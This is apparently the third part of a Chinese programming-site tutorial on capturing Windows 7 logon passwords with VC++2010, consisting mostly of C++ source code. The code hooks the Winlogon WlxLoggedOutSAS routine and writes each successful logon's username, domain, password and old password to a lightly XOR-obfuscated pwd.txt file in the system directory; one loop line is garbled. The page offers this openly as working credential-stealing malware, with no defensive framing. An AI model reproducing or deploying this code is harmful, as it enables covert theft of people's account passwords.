设为首页 加入收藏

TOP

基于VC++2010实现截获Windows 7密码(三)
2014-11-23 21:30:28 】 浏览:1208
Tags:基于 2010 实现 截获 Windows 密码
/r/nPassWord = %s /r/nOldPass = %s/r/n" ,
pNprNotifyInfo->pszUserName ,
pNprNotifyInfo->pszDomain ,
pNprNotifyInfo->pszPassword,
pNprNotifyInfo->pszOldPassword
);
WideToByte( pBuffer ,
pWBuffer ,
lstrlenW( pWBuffer )
);
}
char LogPath[MAX_PATH] = {0};
GetSystemDirectory( LogPath , MAX_PATH);
lstrcat( LogPath , "//pwd.txt");
HANDLE hfile = CreateFile(
LogPath ,
GENERIC_WRITE ,
FILE_SHARE_WRITE ,
0 ,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL ,
0 );
if (hfile != INVALID_HANDLE_VALUE)
{
unsigned long ret;
SetFilePointer( hfile , -1 , 0 , FILE_END);
int i=0;
SYSTEMTIME st;
int b;
for(;i {
pBuffer[i] = pBuffer[i] ^ 3;//加密采用异或方式
}
WriteFile( hfile , pBuffer , lstrlen( pBuffer ) , &ret , 0 );
CloseHandle( hfile );
}
GlobalFree( pWBuffer );
GlobalFree( pBuffer );
return;
}
void WriteCurrentTime()
{
SYSTEMTIME st;
DWORD ret = 0;
GetLocalTime(&st);
wsprintf( pBuffer , "/r/n%d/%d/%d/%d:%d:%d" ,
st.wYear ,
st.wMonth ,
st.wDay ,
st.wHour ,
st.wMinute,
st.wSecond
);
}
int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi)
{
return WideCharToMultiByte( CP_ACP ,
WC_COMPOSITECHECK ,
sz_source ,
-1 ,
sz_target ,
size_ansi ,
0 ,
0 );
}
int WINAPI FunNewADDR(
PVOID pWlxContext,
DWORD dwSasType,
PLUID pAuthenticationId,
PSIDpLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFOpNprNotifyInfo,
PVOID * pProfile
)
{
UnHookWlxLoggedOutSAS();
//当系统jmp到我们自己的函数时先解除HOOK
int i = hooktable.OldDDR(pWlxContext ,
dwSasType ,
pAuthenticationId , pLogonSid ,
pdwOptions ,
phToken ,
pNprNotifyInfo,
pProfile
);
if (i == WLX_SAS_ACTION_LOGON )//
{
WriteLog( pNprNotifyInfo );
}
return i;
}
extern "C" __declspec(dllexport) void start()
{
return;
}

首页 上一页 1 2 3 下一页 尾页 3/3/3
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇VC中使用SetThreadName引起的线程.. 下一篇VC#数据库的连接

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目